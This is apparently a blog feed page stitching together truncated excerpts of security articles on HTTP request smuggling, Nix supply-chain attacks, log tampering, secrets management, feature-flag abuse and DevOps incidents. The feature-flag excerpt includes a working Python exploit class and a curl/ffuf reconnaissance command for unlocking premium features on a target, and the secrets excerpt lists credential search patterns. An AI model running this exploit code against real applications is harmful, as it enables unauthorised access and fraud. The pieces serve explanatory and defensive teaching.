├─────────────────────────────────────────────────────────────┤
│ Header Combination        │ RFC 7230 Guidance               │
├──────────────────────────────────────────────────────────────┤
│ CL + TE                   │ "Remove CL" (ignored by many)   │
│ Multiple CL values        │ "Must be identical" (unsafe)    │
│ Multiple TE values        │ "Invalid" (lenient parsers OK) │
│ TE with obs-fold          │ Backward compat trap            │
│ 0-length body             │ Valid but deferred parsing      │
└──────────────────────────────────────────────────────────────┘

Why HTTP/1.1 Cannot Be Fixed

Attempt #1 - RFC 7230 Clarification: Added guidance in HTTP/1.1 update (2014)

• Result: Legacy proxies/servers already deployed; no enforcement mechanism

Attempt #2 - Server-Side Strictness: Tomcat, Nginx added “strict mode” flags

• Result: Frontend proxies still lenient; attacker targets desync between layers

Attempt #3 - WAF Detection Rules: Block CL+TE combinations

• Result: Attackers use obfuscation (spaces, line folding, capitalization); evasion arms race

Attempt #4 - Per-Request Connection Reuse Restrictions: Kill Keep-Alive

• Result: Incompatible with modern CDN architectures (connection pooling); performance kills

Fundamental Problem: The vulnerability exists because HTTP/1.1 allows multiple valid interpretations of the exact same bytes. No configuration change can fix this.

The Four Attack Waves of HTTP/1.1

PortSwigger has identified these successive attack evolution patterns:

WAVE 1 (2018): CL.TE + TE.CL + TE.TE
└─ Basic parser desync; affects traditional architectures

WAVE 2 (2020): Request Smuggling Cache Poisoning
└─ Targets CDN caching layers; persistent compromise

WAVE 3 (2022): Browser Cache Poisoning via HTTP/2 Downgrade
└─ H2.CL attacks; affects all modern browsers via session fixation

WAVE 4 (2025): Multi-Tenant Isolation Breaches
└─ Kubernetes + Serverless; tenant data cross-contamination
    Exploits: Protocol translation layers, container checkpoint confusion

Comparison: HTTP/1.1 vs HTTP/2 vs HTTP/3

Disabling HTTP/1.1: Implementation Guide

Step 1: Web Server Configuration

Nginx: Disable HTTP/1.1 Entirely

server {
    # Disable HTTP/1.0 and HTTP/1.1 - Accept only HTTP/2+
    # Redirect HTTP/1.1 clients to HTTPS with HTTP/2
    
    listen 443 ssl http2 only;
    listen [::]:443 ssl http2 only;
    
    # Explicitly reject HTTP/1.1 upgrade attempts
    if ($server_protocol = "HTTP/1.1") {
        return 426 "Upgrade Required";
    }
    
    # Send Upgrade header for HTTP/1.1 clients
    add_header Upgrade h2 always;
    add_header Connection upgrade always;
}

Apache 2.4: Disable HTTP/1.1 Protocol Module

# In /etc/apache2/mods-available/http2.conf or httpd.conf
Protocols h2 h2c

Tomcat 9/10: Force HTTP/2 on HTTPS Connectors

<Connector port="8443" protocol="org.apache.coyote.http11.Http11NioProtocol"
           scheme="https" secure="true"
           sslProtocol="TLSv1.2,TLSv1.3"
           allowCipherSuiteName="true"
           ciphers="HIGH:!aNULL:!MD5"
           compressionMinSize="0">
    <!-- Disable HTTP/1.1 Keep-Alive entirely -->
    <UpgradeProtocol className="org.apache.coyote.http2.Http2Protocol" />
</Connector>

Step 2: Load Balancer Configuration

AWS ALB: Enforce HTTP/2

Read more

It was 3:17 AM when Sarah’s phone exploded with alerts. Their production infrastructure built meticulously with Nix for reproducibility was exhibiting anomalous behavior. As the DevSecOps lead managing 40+ microservices across Kubernetes clusters, she’d championed Nix adoption precisely to eliminate the “works on my machine” chaos that plagued their CI/CD pipelines. Before Nix, their team burned 15 hours per week debugging version mismatches: Terraform 1.5 locally but 1.6 in CI, kubectl compiled against k8s 1.27 but production ran 1.28, Python builds failing because developer laptops had different OpenSSL versions than the container base images. Nix promised byte-for-byte reproducible builds same input always produces same output, regardless of when or where you build.

Yet here they were at 3 AM: containers spawning cryptocurrency miners, exfiltrating AWS credentials through DNS tunnels, and worst of all the flake.lock file had been poisoned. The attack bypassed all their security controls: signed container images, network policies, admission controllers. Because the malicious code was baked into the Nix derivation itself, it appeared legitimate to every scanning tool in their security stack.

The irony stung. Nix’s hermetic builds and content-addressed storage were supposed to prevent exactly this scenario. But as Sarah would soon discover, attackers had evolved their techniques specifically to target Nix’s trust model exploiting the very features that made builds reproducible. This is the story of how they weaponized reproducibility itself, and how DevOps engineers must architect their infrastructure pipelines to defend against supply chain attacks in the Nix ecosystem.

The Double-Edged Sword: Understanding Nix’s Security Paradigm

Why Nix Changed Everything

Traditional package managers suffer from environmental drift the same Dockerfile produces different containers on different days. Nix eliminates this with:

• Content-addressed store (/nix/store/HASH-package-version)

• Flake.lock pinning (exact git commits, not semantic versions)

• Hermetic builds (no network access during build)

• Immutable packages (store paths never change)

But these strengths become attack surfaces when misunderstood or misconfigured.

Section 1: Insecure Architecture - The Attacker’s Playground

The Vulnerable Nix Pipeline

Critical Weaknesses:

1. World-readable store (/nix/store is dr-xr-xr-x) - Anyone with shell access can enumerate all installed packages, their versions, build scripts, and potentially embedded credentials. This is by design for Nix’s content-addressed storage, but becomes dangerous when developers don’t understand the implications.

2. Unverified flake inputs (no signature verification by default) - When you write nixpkgs.url = “github:NixOS/nixpkgs/nixos-24.05”, Nix trusts GitHub’s infrastructure entirely. No cryptographic verification happens unless you explicitly enable it. An attacker compromising GitHub or performing MITM can inject malicious code.

3. Build-time network access (FODs - Fixed Output Derivations) - Certain packages need to fetch from the internet during build. These “fixed output derivations” are security holes where an attacker controlling upstream sources can inject malware. The hash verification only checks the final output, not what happened during the build process.

4. Substituter trust (binary caches without validation) - The default cache.nixos.org works over HTTPS, but if someone misconfigures nix.conf to use HTTP or disables signature verification with require-sigs = false, every binary becomes a potential trojan horse.

5. Secrets in store (environment variables end up in /nix/store) - This catches DevOps engineers constantly, especially when migrating from Docker where environment variables are runtime-injected. You set API_KEY = “sk_live_abc123” in a GitHub Actions workflow or define it in your flake’s shellHook, thinking it’s just build-time configuration. But Nix evaluates everything at build time, embeds it in a derivation path like /nix/store/abc123-env-vars, and now your production database password is readable by every container, every user, every process on the system. Even worse: it persists forever because garbage collection won’t remove it if any other derivation references it. In CI/CD environments where the Nix store is cached and reused across pipeline runs, this means secrets from six months ago are still accessible to attackers compromising today’s builds. The proper solution—sops-nix runtime secret injection—is non-obvious to teams coming from traditional deployment models where secrets are environment variables passed at container startup.

6. Timestamp manipulation - Nix sets all timestamps to epoch (Jan 1, 1970) for reproducibility. While this ensures builds are deterministic, it also means forensic investigation becomes harder. You can’t tell when a package was actually built just by looking at filesystem metadata.

7. Transitive dependencies - Flake inputs can have their own inputs. If you depend on flake-utils, and flake-utils depends on something else, you’re trusting that entire chain. An attacker compromising any link in that chain can inject code into your build.

Nix for DevOps Engineers: Why This Matters for Your Infrastructure

The DevOps Pain Points Nix Solves

Before diving into attacks and defenses, understand why DevOps teams adopt Nix and where it fits in modern infrastructure:

Problem 1: CI/CD Environment Drift

Your GitHub Actions workflow runs terraform apply successfully, but when the same code runs in Jenkins, it fails because Jenkins has Terraform 1.5.7 while GitHub Actions provides 1.6.2. Provider APIs changed between versions, and now your infrastructure deployment is blocked. Traditional solutions—Docker containers for CI, mise/asdf for local dev, apt-pinning for servers—create three different package management systems to maintain.

Nix solution: one flake.nix defines your exact toolchain. Developers run nix develop, GitHub Actions runs nix develop --command terraform apply, production NixOS servers use the same pinned derivations. Everyone gets Terraform 1.6.2 from the exact same nixpkgs commit, down to the same linked OpenSSL libraries and libffi versions.

Problem 2: Container Base Image Vulnerabilities

Your security team demands you patch CVE-2024-12345 in libssl. You rebuild all containers with FROM ubuntu:22.04 expecting the latest security updates. But Ubuntu’s package mirror was synced at different times across your build infrastructure. Three containers get the patched version, two don’t. Your container registry shows five images with identical tags but different SHA256 digests. Which ones are actually patched?

Nix solution: dockerTools.buildLayeredImage creates containers with no base image. Just your application and its exact dependencies from /nix/store. The resulting 23MB container has zero packages you didn’t explicitly declare, zero inherited CVEs from base images, and scans show Total: 0 vulnerabilities because there’s no bash, no apt, no unnecessary attack surface.

Problem 3: “Works on My Machine” Kubernetes Manifests

Your team maintains 200+ Kubernetes YAML files. A developer edits deployment.yaml and changes containerPort: 8080 but forgets to update the corresponding service.yaml where it says targetPort: 8081. The manifest passes kubectl apply --dry-run locally because their cluster already has the old service, but it breaks in production during deployment causing 20 minutes of downtime.

Nix solution: nixidy generates Kubernetes manifests from Nix code with full type checking. If you typo containerPort as containrPort, Nix evaluation fails immediately with “attribute ‘containrPort’ does not exist”. Port numbers are variables used consistently across deployments and services. ArgoCD syncs the generated YAML, knowing every manifest was validated at build time.

Integrating Nix into Your Existing DevOps Stack

You don’t rewrite everything. Here’s the pragmatic adoption path:

Week 1: Development Environments

Create flake.nix for your infrastructure repository:

{
  inputs.nixpkgs.url = “github:NixOS/nixpkgs/nixos-24.05”;
  
  outputs = { nixpkgs, ... }: {
    devShells.x86_64-linux.default = let
      pkgs = nixpkgs.legacyPackages.x86_64-linux;
    in pkgs.mkShell {
      packages = with pkgs; [
        # pin exact versions for consistency
        terraform_1_6    # not latest, not 1.5, exactly 1.6.x
        kubectl          # from nixos-24.05 snapshot
        kubernetes-helm  # same version for everyone
        awscli2          # no more pip install --user
        python311        # explicit python version
        nodejs_20        # explicit node version
        
        # security scanning in dev
        trivy
        grype
        tfsec
        
        # custom deployment script
        (writeScriptBin “deploy-infra” ‘’
          #!/usr/bin/env bash
          set -euo pipefail
          
          echo “Deploying with pinned toolchain:”
          terraform version
          kubectl version --client
          
          # run security scans before deploy
          trivy config .
          tfsec . --soft-fail
          
          # actual deployment
          terraform init
          terraform plan -out=tfplan
          
          read -p “Apply? (yes/no): “ confirm
          if [ “$confirm” = “yes” ]; then
            terraform apply tfplan
          fi
        ‘’)
      ];
      
      shellHook = ‘’
        echo “=== DevOps Environment Activated ===”
        echo “Terraform: $(terraform version -json | jq -r .terraform_version)”
        echo “kubectl: $(kubectl version --client -o json 2>/dev/null | jq -r .clientVersion.gitVersion)”
        echo “Python: $(python --version | cut -d’ ‘ -f2)”
        echo “”
        echo “Run ‘deploy-infra’ to deploy with security checks”
        
        # fail-safe: verify critical versions
        TF_VERSION=$(terraform version -json | jq -r .terraform_version)
        if [[ ! “$TF_VERSION” =~ ^1\.6\. ]]; then
          echo “ERROR: Expected Terraform 1.6.x, got $TF_VERSION”
          exit 1
        fi
      ‘’;
    };
  };
}

Every developer runs nix develop (or set up direnv with use flake in .envrc for automatic activation). Your CI pipeline uses the identical command. Version drift: eliminated.

Week 2: CI/CD Pipeline Migration

Update .github/workflows/deploy.yml:

name: Deploy Infrastructure

on:
  push:
    branches: [main]
  pull_request:

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      - uses: cachix/install-nix-action@v27
        with:
          extra_nix_config: |
            experimental-features = nix-command flakes
            sandbox = true
            require-sigs = true
      
      # critical: use binary cache to avoid rebuilding everything
      - uses: cachix/cachix-action@v14
        with:
          name: mycompany
          authToken: ‘${{ secrets.CACHIX_AUTH_TOKEN }}’
      
      # verify flake.lock integrity
      - name: Verify Dependencies
        run: |
          if [ ! -f flake.lock ]; then
            echo “CRITICAL: flake.lock missing”
            exit 1
          fi
          
          # check for unpinned inputs
          nix flake metadata --json | \
            jq -e ‘.locks.nodes | to_entries[] | 
                    select(.value.locked.rev == null)’ \
            && echo “ERROR: Unpinned flake inputs” && exit 1 || true
      
      # run infrastructure deployment in nix environment
      - name: Deploy
        run: |
          nix develop --command bash -c ‘
            terraform init
            terraform plan -out=tfplan
            terraform apply -auto-approve tfplan
          ‘
        env:
          AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

First run takes 8 minutes compiling everything. Second run (thanks to cachix binary cache): 45 seconds. Every subsequent run: downloads pre-built binaries instead of compiling from source.

Week 3: Container Builds with Nix

Replace your Dockerfile with Nix:

# container.nix
{ pkgs ? import <nixpkgs> {} }:

let
  # your application
  app = pkgs.writeScriptBin “api-server” ‘’
    #!${pkgs.python311}/bin/python
    from flask import Flask
    app = Flask(__name__)
    
    @app.route(’/health’)
    def health():
        return {’status’: ‘healthy’}, 200
    
    if __name__ == ‘__main__’:
        app.run(host=’0.0.0.0’, port=8080)
  ‘’;
in
pkgs.dockerTools.buildLayeredImage {
  name = “company/api”;
  tag = “v1.0.0”;
  
  contents = [
    app
    pkgs.python311Packages.flask
    pkgs.cacert  # for HTTPS requests
  ];
  
  config = {
    Cmd = [ “${app}/bin/api-server” ];
    ExposedPorts = { “8080/tcp” = {}; };
    
    # security hardening
    User = “1000:1000”;
    WorkingDir = “/app”;
  };
}

Build and scan:

nix build -f container.nix
docker load < result

# 23MB image vs 200MB+ from ubuntu:22.04
docker images company/api
REPOSITORY    TAG       SIZE
company/api   v1.0.0    23MB

# zero vulnerabilities because no base image
trivy image company/api:v1.0.0
Total: 0 (CRITICAL: 0, HIGH: 0, MEDIUM: 0, LOW: 0)

Attack Technique #1: Flake Input Poisoning (T1195.002 - Compromise Software Supply Chain)

Flake input poisoning exploits the trust relationship between Nix projects and their declared dependencies, targeting the weakest link in the supply chain: unpinned or unverified upstream repositories. When DevOps teams reference flake inputs using branch names or tags instead of immutable commit hashes, they create an attack window where compromised upstream maintainers or GitHub account takeovers can inject malicious code that propagates to every downstream build. This technique is particularly effective in CI/CD pipelines that run nix flake update automatically, environments using floating references like github:NixOS/nixpkgs/master, or teams that don’t commit flake.lock to version control, leaving every build vulnerable to supply chain compromise at evaluation time before any sandboxing occurs.

The Attack Vector

Practical Implementation

Attacker creates malicious flake:

Read more

Your phone buzzes. Slack alert from PagerDuty: “CRITICAL: Unauthorized deployment to production EKS cluster.” You’re wide awake now.

The timeline unfolds rapidly:

• 3:17 AM: Deployment triggered from Jenkins—but no one’s on shift

• 3:18 AM: ArgoCD syncs Terraform changes to production AWS resources

• 3:19 AM: Falco alerts on suspicious container spawning /bin/sh with root privileges

• 3:22 AM: AWS CloudTrail shows IAM role assumption from unknown IP 203.0.113.47

• 3:25 AM: Prometheus metrics spike—CPU usage jumps 400%

You open your laptop, terminal blinking in the darkness. Where do you start?

Most engineers panic-check Kubernetes logs. The attacker knows this. They’ve already tampered with:

• Jenkins build logs (deleted pipeline execution history)

• GitHub Actions audit logs (forged commit metadata)

• AWS CloudTrail (disabled logging for 47 minutes)

• Docker container logs (injected fake timestamps)

But you’re different. You investigate incidents like a ninja—correlating logs across 44 technologies, detecting anomalies attackers can’t hide, and reconstructing the full kill chain.

This is your playbook.

Insecure Log Architecture: The Attacker’s Playground

What Makes This Architecture Vulnerable?

1. Decentralized Log Storage

• Jenkins logs stored on master node—single point of failure

• Kubernetes logs on ephemeral node disks—lost on pod eviction

• AWS CloudTrail writes to S3—attacker can pause/delete trail

• Application logs in container filesystems—destroyed on restart

2. No Immutable Audit Trail

• Logs are mutable files attackers can edit with sed, awk, or direct writes

• No cryptographic verification—timestamps can be forged

• Missing log forwarding—evidence disappears with compromised systems

3. Insufficient Access Controls

• Jenkins admin can delete build history via UI

• Kubernetes node access allows direct log file manipulation

• S3 bucket policies lack s3:PutBucketLogging deny rules

• No separation of duties—engineers have delete permissions

Real-World Impact: In the SolarWinds breach (2020), attackers modified build logs to hide malicious code injection. The tampering went undetected for months because logs were stored locally on compromised build servers.

Secure Log Architecture: The Ninja’s Fortress

Defense-in-Depth Principles

1. Centralized Immutable Collection

• Fluent Bit/Fluentd agents forward logs in real-time via TLS 1.3

• Write-Once-Read-Many (WORM) storage prevents tampering

• Cryptographic signatures on log entries using HMAC-SHA256

• Multi-region replication to S3 buckets with MFA Delete enabled

2. Separation of Log Plane

• Dedicated log infrastructure—isolated VPC/network segment

• Least privilege access—engineers cannot delete production logs

• API-only modifications with full audit trail (who, what, when)

• Air-gapped backup to offline storage every 24 hours

3. Real-Time Correlation & Alerting

• SIEM platforms (Splunk, ELK, Datadog) aggregate 44 sources

• Behavioral baselines—detect anomalies via ML (Prometheus, Grafana)

• Cross-reference events—link GitHub commit → Jenkins build → K8s deploy

• Automated response—Falco triggers pod quarantine on suspicious behavior

Attack Techniques: Multi-Stage Log Evasion

Team Roles & Responsibilities Across All 44 Technologies

Role Definitions:

• SOC Analyst: Monitors 44 log sources, investigates alerts from SIEM/Falco/Wazuh, performs threat hunting across Slack/Teams/GitHub/AWS, responds to security incidents

• DevOps Engineer: Manages CI/CD pipelines (GitHub Actions, Jenkins, GitLab CI), deploys to K8s/Docker, provisions infrastructure via Terraform/Ansible, configures Fluent Bit agents

• Security Engineer: Defines security policies, configures Falco/Wazuh rules, audits Vault/Secrets Manager access, reviews code in GitHub/GitLab, sets up detection rules

• Platform Engineer: Maintains Kubernetes clusters, configures Istio/Linkerd service mesh, optimizes Prometheus/Grafana dashboards, manages cloud infrastructure

• SRE: On-call for production incidents, capacity planning in AWS/GCP/Azure, reliability engineering for CI/CD pipelines, SLO/SLI monitoring

Attack Technique #1: CI/CD Log Tampering (T1562.008)

MITRE ATT&CK Mapping

• Tactic: Defense Evasion

• Technique: T1562.008 - Impair Defenses: Disable Cloud Logs

• Sub-Technique: Modify/Delete CI/CD Pipeline Logs

The Attack Scenario

An attacker compromises a GitHub Actions runner via a malicious pull request. They inject a workflow step that:

Read more

Picture this: It’s 3:17 AM on a Saturday, and a cryptocurrency trading platform just discovered their entire AWS infrastructure is mining Bitcoin for someone else. The attack vector? A hardcoded AWS secret key committed to GitHub 18 months ago that nobody remembered existed. Within 72 hours, the attackers spun up 847 EC2 instances across 12 regions, generating $2.3 million in compute charges. Now imagine instead, they had implemented workload identity federation where credentials auto-rotate every hour and never touch disk or memory in plaintext. Same infrastructure, zero hardcoded secrets, attack impossible.

Secrets management is broken. Every security engineer knows this. Yet organizations continue treating API keys, database passwords, and cloud credentials like configuration files instead of the toxic assets they actually are. The modern approach? Stop using secrets altogether. Workload Identity Federation, SPIFFE/SPIRE, and OIDC-based authentication changed the game by eliminating the “bottom turtle problem” where accessing one secret requires another secret, creating infinite recursion.

Understanding the Secret Problem: The Foundation

What Are Secrets in Cloud-Native Environments?

Secrets are sensitive data required for authentication spanning database credentials used by applications to connect to PostgreSQL or MongoDB, cloud provider access keys enabling AWS S3 bucket access or Azure Blob operations, API tokens for third-party service integrations like Stripe or Twilio payment gateways, TLS certificates securing service-to-service communication in microservices architectures, and SSH private keys granting server access for deployment automation.

The Lifecycle Nightmare

Traditional secrets management creates operational hell:

Types of Secret Exposure

The Architecture Landscape

Organizational Structure for Secret Management

Insecure Architecture: The Legacy Approach

Organizations store database passwords in plaintext YAML files committed to Git repositories, hardcode AWS access keys directly in application source code without rotation mechanisms, pass secrets through environment variables readable via container runtime inspection, use Kubernetes Secrets encoded only in Base64 providing zero encryption, maintain shared service account credentials across teams without individual attribution, lack centralized secret rotation causing manual updates across hundreds of microservices, and embed TLS private keys in Docker images pushed to public registries.

Secure Architecture: Workload Identity Federation

A secretless architecture eliminates static credentials entirely:

Security Controls:

The modern approach demands cryptographic workload identity verified through OIDC token exchange, short-lived credentials with 15-60 minute TTL preventing long-term compromise, automatic credential rotation without application code changes, fine-grained IAM policies scoped to specific workloads not shared service accounts, complete audit trails in cloud provider logs tracking every authentication attempt, zero secrets stored on disk or in environment variables, and mTLS-based service mesh authentication for inter-service communication.

Attack Vectors: The Offensive Playbook

Attacker Team Structure and Methodology

Attack Technique #1: GitHub Secret Mining and AWS Credential Abuse

MITRE ATT&CK Mapping: T1552.001 (Credentials In Files), T1078.004 (Cloud Accounts)

Read more

Picture this: It’s 2 AM on a Friday night, and your team just deployed a critical feature to production. Within minutes, users start reporting issues. Your options? Rollback the entire deployment, affecting all users, or frantically push a hotfix. Now imagine instead, you flip a digital switch, instantly disabling the problematic feature while keeping everything else running. That’s feature flagging.

Feature flags, also known as feature toggles or feature switches, changed how engineering teams deploy code. They also introduced new security risks and operational challenges that attackers love to exploit. Here’s both sides: how feature flags empower teams and how hackers weaponize them.

Feature flags are conditional statements in code that enable or disable functionality without deploying new code. Think of them as runtime configuration switches that control feature availability based on user segments like beta testers or premium users, environment types spanning development through production, time-based conditions for scheduled releases, system health metrics triggering circuit breakers, and A/B testing scenarios for experimentation and validation.

The Anatomy of a Feature Flag

At its core, a feature flag is deceptively simple:

// Basic feature flag implementation
function renderDashboard(user) {
  if (featureFlags.isEnabled(’new-dashboard’, user)) {
    return renderNewDashboard();
  }
  return renderLegacyDashboard();
}

But in production systems, feature flags become complex distributed configurations managed through platforms like LaunchDarkly, Split.io, Unleash, or custom solutions.

Types of Feature Flags

Type Purpose Lifespan Risk Level Release Toggles Gradual rollout of incomplete features Short-term (days-weeks) Medium Experiment Toggles A/B testing and data-driven decisions Medium-term (weeks-months) Low-Medium Operations Toggles Circuit breakers, load shedding Permanent High Permission Toggles Access control, feature entitlements Long-term Critical Kill Switches Emergency feature disable Permanent Critical

Team Roles and Responsibilities

The Architecture Landscape

Organizational Structure for Feature Flag Management

Insecure Architecture: The Attack Surface

Many organizations implement feature flags without understanding the security implications. Here’s what a vulnerable implementation looks like:

Critical Vulnerabilities:

Organizations store flags in plaintext configuration files without encryption, leave flag management endpoints wide open without access controls, skip audit logs for tracking state changes, evaluate flags on the client-side exposing business logic to attackers, hardcode flag keys in source code repositories, ignore versioning and change tracking, and mix different flag types without separating security-critical toggles from experimental features.

Secure Architecture: Defense in Depth

A hardened feature flag system implements multiple security layers:

Security Controls:

The secure approach demands mutual TLS for all service-to-service communication, implements strict role-based access control for flag management operations, encrypts all flag data at rest using enterprise key management services like AWS KMS or HashiCorp Vault, maintains immutable audit trails streaming to SIEM platforms, enforces aggressive rate limiting on flag evaluation endpoints, performs all flag evaluation server-side to eliminate client manipulation risks, automates secret rotation for API keys and credentials, and isolates flag services through network segmentation.

Attack Vectors: The Offensive Playbook

Attacker Team Structure and Methodology

Attack Technique #1: Feature Flag Enumeration and Exploitation

MITRE ATT&CK Mapping: T1087 (Account Discovery), T1083 (File and Directory Discovery)

Attack Scenario: Premium Features Unlocked with a Single API Call

An attacker discovers that your application exposes feature flag configurations through insecure API endpoints or client-side JavaScript bundles, giving them a complete blueprint of your premium features and how to unlock them without paying.

Attack Implementation

Step 1: Reconnaissance

# Enumerate feature flags from client-side code
curl -s https://target.com/static/js/main.js | \
  grep -oP ‘featureFlag\[”[^”]+”\]’ | \
  sort -u > discovered_flags.txt

# Probe for exposed flag endpoints
ffuf -w discovered_flags.txt:FLAG \
  -u “https://target.com/api/flags/FLAG” \
  -mc 200,201 \
  -o exposed_endpoints.json

Step 2: Exploitation - Flag Manipulation

import requests
import json

class FeatureFlagExploit:
    def __init__(self, target_url, session_cookie):
        self.base_url = target_url
        self.session = requests.Session()
        self.session.cookies.set(’session’, session_cookie)
    
    def enumerate_flags(self):
        “”“Discover all available feature flags”“”
        response = self.session.get(f”{self.base_url}/api/flags”)
        if response.status_code == 200:
            return response.json()
        return None
    
    def enable_premium_features(self, user_id):
        “”“Attempt to enable premium features for user”“”
        premium_flags = [
            ‘premium-analytics’,
            ‘advanced-reporting’,
            ‘api-access’,
            ‘priority-support’
        ]
        
        for flag in premium_flags:
            payload = {
                ‘userId’: user_id,
                ‘flagName’: flag,
                ‘enabled’: True
            }
            
            response = self.session.post(
                f”{self.base_url}/api/user/flags”,
                json=payload
            )
            
            if response.status_code in [200, 201]:
                print(f”[+] Successfully enabled: {flag}”)
            else:
                print(f”[-] Failed to enable: {flag}”)
    
    def manipulate_ab_test(self, test_name, variant):
        “”“Force assignment to specific A/B test variant”“”
        payload = {
            ‘experimentName’: test_name,
            ‘variant’: variant,
            ‘override’: True
        }
        
        response = self.session.post(
            f”{self.base_url}/api/experiments/assign”,
            json=payload
        )
        
        return response.status_code == 200

# Usage
exploit = FeatureFlagExploit(’https://vulnerable-app.com’, ‘session_token_here’)
flags = exploit.enumerate_flags()
exploit.enable_premium_features(’attacker_user_123’)

Step 3: Privilege Escalation via Flag Injection

Read more

DevOps Process Management: The Complete Enterprise Guide

DevOps process management sits at the intersection of speed and security. Organizations pushing code to production multiple times per day face a fundamental challenge: maintaining security controls without becoming deployment bottlenecks. The average enterprise runs 247 different tools across their DevOps pipeline, creating complexity that attackers actively exploit.

This guide examines DevOps process management through two lenses. First, we document how production teams actually implement these processes across legacy infrastructure, hybrid clouds, and cloud-native platforms. Second, we analyze attack patterns where adversaries compromised these same processes to breach organizations.

What you’ll find here:

The article covers eight core processes that span the software delivery lifecycle. Each process includes implementation details for different organizational contexts startups running Kubernetes clusters need different approaches than banks maintaining mainframe systems. We’ve documented both automated and manual variants because the reality is most organizations operate somewhere between these extremes.

You’ll see specific attack scenarios covering missing approval gates, unrotated secrets, and skipped security scans that led to production compromises. Each attack includes the technical steps adversaries followed and the process controls that would have prevented them.

The metrics matter. We’ve included KPIs for every process step because “implement security scanning” means nothing without measuring scan duration, false positive rates, and developer remediation times. These numbers come from actual implementations, not aspirational targets.

This pattern repeats across industries. The tools change, the cloud providers vary, but the failure mode stays consistent—process shortcuts that seem reasonable under deadline pressure become attack vectors.

1. The 3:47 AM Incident: When Process Fails

Quick Reference: Incident Response Flow

Detection → Initial Discovery → Impact Assessment → Root Cause → Timeline Analysis → Cost Calculation → Lessons Learned

1.1 Incident Overview

Incident Response Team Structure:

Incident Response RACI Matrix:

A global SaaS provider serving 2 million users experienced a production security breach during off-hours. The on-call engineer received alerts at 3:47 AM showing anomalous database queries against the production payment processing system.

1.2 Initial Discovery

Investigation Cheatsheet:

Step 1: Alert Triage → Step 2: Log Analysis → Step 3: Access Review → Step 4: Configuration Audit → Step 5: Impact Scope

Investigation Team Collaboration:

Investigation Roles & Responsibilities:

Within the first 12 minutes of investigation, the security team identified several alarming indicators. Malicious code had been deployed to production through a “hotfix” branch that bypassed normal review processes. The GitHub Actions workflow configuration had been modified to skip the security scanning stage entirely. An expired service account token, which should have been rotated months earlier, provided the authentication needed to bypass the approval gate.

1.3 Breach Impact Assessment

Damage Assessment Steps:

Data Exfiltration Analysis → Backdoor Detection → Privilege Escalation Review → Lateral Movement Tracking → Persistence Mechanisms

The attackers moved quickly once inside the production environment. They exfiltrated 500GB of customer personally identifiable information to an S3 bucket under their control. To maintain persistent access, they created a backdoor IAM role with administrative privileges that would survive the immediate incident response.

1.4 Root Cause Analysis

RCA Process Flow:

Symptom Identification → Timeline Reconstruction → Configuration Review → Process Gap Analysis → Control Failure Mapping

The deployment process fundamentally lacked mandatory security checkpoints. A developer, facing pressure to resolve a critical bug affecting paying customers, created a modified workflow file. This workflow treated the “hotfix” branch as a special case that could skip security validation. The change merged and deployed to production within 8 minutes—fast enough to avoid human oversight but slow enough that automated detection systems failed to flag the anomaly.

1.5 Attack Timeline

Attack Chain Steps:

Initial Access → Workflow Modification → Security Bypass → Deployment → Code Execution → Data Exfiltration → Persistence

The entire attack sequence from initial code push to data exfiltration completion took 47 minutes. The attackers had clearly studied the organization’s deployment process and understood exactly which shortcuts existed in the workflow configuration.

1.6 Financial and Operational Impact

Cost Breakdown Flow:

Impact Analysis by Stage:

1. Regulatory Fines — $2.3M in GDPR penalties for exposing 500GB of customer PII without adequate security controls

2. Incident Response — $850K for forensic investigation, external security consultants, and emergency remediation

3. Customer Remediation — $1.2M for credit monitoring services, legal settlements, and customer support infrastructure

4. Engineering Time — 18 days of lost productivity across security, DevOps, and development teams rebuilding compromised systems

5. Reputation Damage — Immeasurable long-term impact on customer trust, brand value, and competitive positioning

1.7 The Single Point of Failure

Single Line of Code Impact:

Root Cause Analysis:

One missing security gate in a CI/CD process created the vulnerability that enabled this entire incident. The workflow file contained a conditional statement that said “if branch equals hotfix, skip security scanning.” That single line of YAML configuration cost the company over $4M and immeasurable reputational damage.

This article documents the processes, controls, and detection mechanisms that prevent organizations from experiencing their own 3:47 AM incident.

2. DevOps Process Architecture: Secure vs. Insecure

Architecture Comparison Flow:

2.1 Common Insecure Process Patterns

Most organizations inherit process anti-patterns through organic growth rather than intentional design. A startup’s quick-and-dirty deployment script becomes the enterprise’s production process three years later. These patterns create exploitable gaps that attackers actively target:

2.1.1 Manual Approval Gates

Risk Flow Diagram:

Read more

It was 02:17 AM when the on-call pager emitted its piercing wail. The payments processing service had begun rejecting all authentication requests to the third-party payment gateway. The error logs screamed “Invalid API Key.” Within minutes, the incident commander had the answer: a junior developer—under deadline pressure—had pasted a temporary API key directly into a Python script, committed it, and pushed the code.

The key was found in Git history. But the real damage? When the CI pipeline re-ran after the push, the build logs—which were configured to retain artifacts for 90 days in a semi-public S3 bucket—contained full output of that script. An automated credential scanner, running across public repositories and CI platforms, detected the key within 12 minutes. By the time the team woke up, the attacker had already:

1. Used the key to make test charges against the merchant account

2. Extracted customer payment data (PII) from the integration environment

3. Pivoted into the staging VPC using the key’s associated IAM role

This article ensures you never face this 02:17 AM pager. We’ll walk through how the attack happened, how to detect it pre-push, how to contain it during the push, and how to respond in minutes instead of hours.

Why Secrets Fail: Insecure vs. Secure Architecture

Insecure Architecture (The Baseline Risk)

Most organizations inherit a pattern like this:

The fundamental problem: Secrets are treated like code (checked in, versioned, replicated) when they should be treated like ephemeral, least-privilege, short-lived tokens.

Secure Architecture (Principles & Practices)

A secure secret architecture follows these contrasting principles:

The result: Even if an attacker steals a secret, it expires within 15 minutes. The audit log reveals the theft immediately. The scope of damage is limited to the specific API that credential touched.

Attack Vector 1: Hardcoded Secrets in Source Code

Scenario & TTPs

The Setup: A developer creates a debugging script, hardcodes a database password and API key, and commits it to the main branch. Even after deletion and a force-push, the secret persists in:

• Git history (discoverable via git log or raw GitHub API)

• Cloned forks and mirrors

• CI cache layers

• Automated backups

Attacker Tactics:

• Reconnaissance: Use truffleHog, gitleaks, or custom regex scanners to mine public and private repositories

• Discovery: Search for patterns like AKIA, -----BEGIN PRIVATE KEY-----, password=, api_key=

• Extraction: Clone repository or access via GitHub API; extract credentials from commit history

• Exploitation: Test credential validity; use it to access target system; exfiltrate data or pivot to related systems

Mermaid Diagrams for Attack Vector 1

Flowchart LR (Attack Path):

Sequence Diagram (Timeline):

